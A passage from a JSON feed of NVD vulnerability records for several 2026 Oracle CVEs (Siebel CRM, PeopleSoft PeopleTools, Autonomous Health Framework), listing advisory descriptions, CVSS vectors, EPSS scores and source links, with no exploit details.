exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101452","cveId":"CVE-2026-101452","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Autonomous Health Framework (component: AHF Instant Diagnostic Replay).","summary":"Vulnerability in Oracle Autonomous Health Framework (component: AHF Instant Diagnostic Replay).  Supported versions that are affected are 26.3-26.8. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Autonomous Health Framework executes to compromise Oracle Autonomous Health Framework.  Successful attacks of this vulnerability can result in takeover of Oracle Autonomous Health Framework. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in Oracle Autonomous Health Framework (component: AHF Instant Diagnostic Replay).  Supported versions that are affected are 26.3-26.8. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Autonomous Health Framework executes to compromise Oracle Autonomous Health Framework.  Successful attacks of this vulnerability can result in takeover of Oracle Autonomous Health Framework. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:53.873Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101452","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00151,"percentile":0.04239,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101452&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101452","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101452","type":"primary","publishedAt":"2026-10-20T22:17:53.873Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101452&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101452, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101451","cveId":"CVE-2026-101451","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel Life Sciences product of Oracle Siebel CRM (component: Web UI).","summary":"Vulnerability in the Siebel Life Sciences product of Oracle Siebel CRM (component: Web UI).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel Life Sciences.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Siebel Life Sciences, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel Life Sciences accessible data as well as  unauthorized access to critical data or complete access to all Siebel Life Sciences accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Siebel Life Sciences product of Oracle Siebel CRM (component: Web UI).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel Life Sciences.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Siebel Life Sciences, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel Life Sciences accessible data as well as  unauthorized access to critical data or complete access to all Siebel Life Sciences accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:53.753Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101451","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00324,"percentile":0.25163,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101451&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101451","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101451","type":"primary","publishedAt":"2026-10-20T22:17:53.753Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101451&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101451, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101450","cveId":"CVE-2026-101450","aliases":[],"kind":"vulnerability","title":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Integration Broker).","summary":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Integration Broker).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data as well as  unauthorized update, insert or delete access to some of PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N).","detail":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Integration Broker).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data as well as  unauthorized update, insert or delete access to some of PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:53.640Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101450","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.003,"percentile":0.22464,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101450&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101450","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101450","type":"primary","publishedAt":"2026-10-20T22:17:53.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101450&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101450, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101447","cveId":"CVE-2026-101447","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Development product of Oracle Siebel CRM (component: Workflow).","summary":"Vulnerability in the Siebel CRM Development product of Oracle Siebel CRM (component: Workflow).  Supported versions that are affected are 25.12-26.9. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Development.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Siebel CRM Development. CVSS 3.1 Base Score 7.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Siebel CRM Development product of Oracle Siebel CRM (component: Workflow).  Supported versions that are affected are 25.12-26.9. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Development.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Siebel CRM Development. CVSS 3.1 Base Score 7.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:53.307Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101447","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00285,"percentile":0.20774,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101447&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101447","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101447","type":"primary","publishedAt":"2026-10-20T22:17:53.307Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101447&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101447, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101438","cveId":"CVE-2026-101438","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager).","summary":"Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager).  Supported versions that are affected are 22.3-26.9. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Siebel CRM Cloud Applications executes to compromise Siebel CRM Cloud Applications.  While the vulnerability is in Siebel CRM Cloud Applications, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Cloud Applications accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Cloud Applications accessible data. CVSS 3.1 Base Score 8.0 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager).  Supported versions that are affected are 22.3-26.9. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Siebel CRM Cloud Applications executes to compromise Siebel CRM Cloud Applications.  While the vulnerability is in Siebel CRM Cloud Applications, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Cloud Applications accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Cloud Applications accessible data. CVSS 3.1 Base Score 8.0 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:52.280Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101438","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00183,"percentile":0.07772,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101438&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101438","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101438","type":"primary","publishedAt":"2026-10-20T22:17:52.280Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101438&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101438, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101434","cveId":"CVE-2026-101434","aliases":[],"kind":"vulnerability","title":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Database Server).","summary":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Database Server).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of PeopleSoft Enterprise PeopleTools as well as  unauthorized update, insert or delete access to some of PeopleSoft Enterprise PeopleTools accessible data and  unauthorized read access to a subset of PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H).","detail":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Database Server).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of PeopleSoft Enterprise PeopleTools as well as  unauthorized update, insert or delete access to some of PeopleSoft Enterprise PeopleTools accessible data and  unauthorized read access to a subset of PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:51.820Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101434","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00264,"percentile":0.1804,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101434&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101434","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101434","type":"primary","publishedAt":"2026-10-20T22:17:51.820Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101434&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101434, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101431","cveId":"CVE-2026-101431","aliases":[],"kind":"vulnerability","title":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Test Framework).","summary":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Test Framework).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in PeopleSoft Enterprise PeopleTools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data as well as  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Test Framework).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in PeopleSoft Enterprise PeopleTools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data as well as  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:51.473Z","updatedAt":"2026-10-23T04:18:12.387Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101431","asOf":"2026-10-23T04:18:12.387Z"},"epss":{"probability":0.0036,"percentile":0.29464,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101431&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101431","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101431","type":"primary","publishedAt":"2026-10-20T22:17:51.473Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101431&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101431, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101429","cveId":"CVE-2026-101429","aliases":[],"kind":"vulnerability","title":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).","summary":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows unauthenticated attacker with logon to the infrastructure where PeopleSoft Enterprise PeopleTools executes to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows unauthenticated attacker with logon to the infrastructure where PeopleSoft Enterprise PeopleTools executes to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:51.247Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101429","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00129,"percentile":0.02505,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101429&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101429","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101429","type":"primary","publishedAt":"2026-10-20T22:17:51.247Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101429&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101429, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101428","cveId":"CVE-2026-101428","aliases":[],"kind":"vulnerability","title":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).","summary":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:51.130Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101428","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00345,"percentile":0.27833,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101428&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 